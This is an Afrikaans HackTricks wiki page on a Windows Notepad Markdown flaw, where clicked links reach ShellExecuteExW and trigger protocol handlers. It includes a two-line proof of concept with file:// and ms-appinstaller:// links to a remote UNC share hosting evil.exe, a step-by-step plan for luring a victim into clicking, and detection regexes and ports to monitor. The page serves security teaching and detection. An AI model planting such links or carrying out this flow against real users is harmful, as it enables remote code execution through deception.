Windows-protokolhandtekenaar / ShellExecute-misbruik (Markdown-renderers)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Moderne Windows-toepassings wat Markdown/HTML render, omskep dikwels deur gebruikers aangeleverde skakels in klikbare elemente en gee dit aan ShellExecuteExW. Sonder streng skema-allowlisting kan enige geregistreerde protokolhandtekenaar (bv. file:, ms-appinstaller:) geaktiveer word, wat tot kode-uitvoering in die huidige gebruikerskonteks kan lei.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad kies Markdown-modus slegs vir
.md-uitbreidings deur ’n vaste stringvergelyking insub_1400ED5D0(). - Ondersteunde Markdown-skakels:
- Standard:
[text](target) - Autolink:
<target>(gerender as[target](target)), so beide sintakse is van belang vir payloads en detections. - Skakelklikke word verwerk in
sub_140170F60(), wat swak filtering uitvoer en daarnaShellExecuteExWaanroep. ShellExecuteExWstuur aan enige geconfigureerde protokolhandtekenaar, nie net HTTP(S) nie.
Payload considerations
- Enige
\\patrone in die skakel word genormaliseer na\voorShellExecuteExW, wat UNC/pad-skepping en detection raak. .md-lêers is nie standaard met Notepad geassosieer nie; die slagoffer moet steeds die lêer in Notepad oopmaak en op die skakel klik, maar sodra dit gerender is, is die skakel klikbaar.- Gevaarlike voorbeeldskemas:
file://om ’n plaaslike/UNC payload te begin.ms-appinstaller://om App Installer flows te aktiveer. Ander plaaslik geregistreerde skemas kan ook misbruikbaar wees.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Uitbuitingsvloei
- Skep ’n
.mdfile sodat Notepad dit as Markdown weergee. - Voeg ’n skakel in wat ’n gevaarlike URI-skema gebruik (
file:,ms-appinstaller:, of enige geïnstalleerde handler). - Lewer die lêer (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB of soortgelyk) en oortuig die gebruiker om dit in Notepad oop te maak.
- Wanneer geklik word, word die genormaliseerde skakel aan
ShellExecuteExWgegee en die ooreenstemmende protokolhandler voer die verwysde inhoud in die gebruiker se konteks uit.
Opsporingsideeë
- Moniteer oordragte van
.md-lêers oor poorte/protokolle wat gewoonlik dokumente lewer:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Parseer Markdown-skakels (standard en autolink) en soek na ongevoelig vir hoof- en kleinletters
file:ofms-appinstaller:. - Verskaffer-geleide regexes om toegang tot afgeleë hulpbronne op te vang:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Volgens berigte laat die patchgedrag allowlists local files and HTTP(S) toe; enigiets anders wat
ShellExecuteExWbereik, is verdag. Brei opsporings uit na ander geïnstalleerde protokolbehandelaars waar nodig, aangesien die aanvaloppervlak per stelsel verskil.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


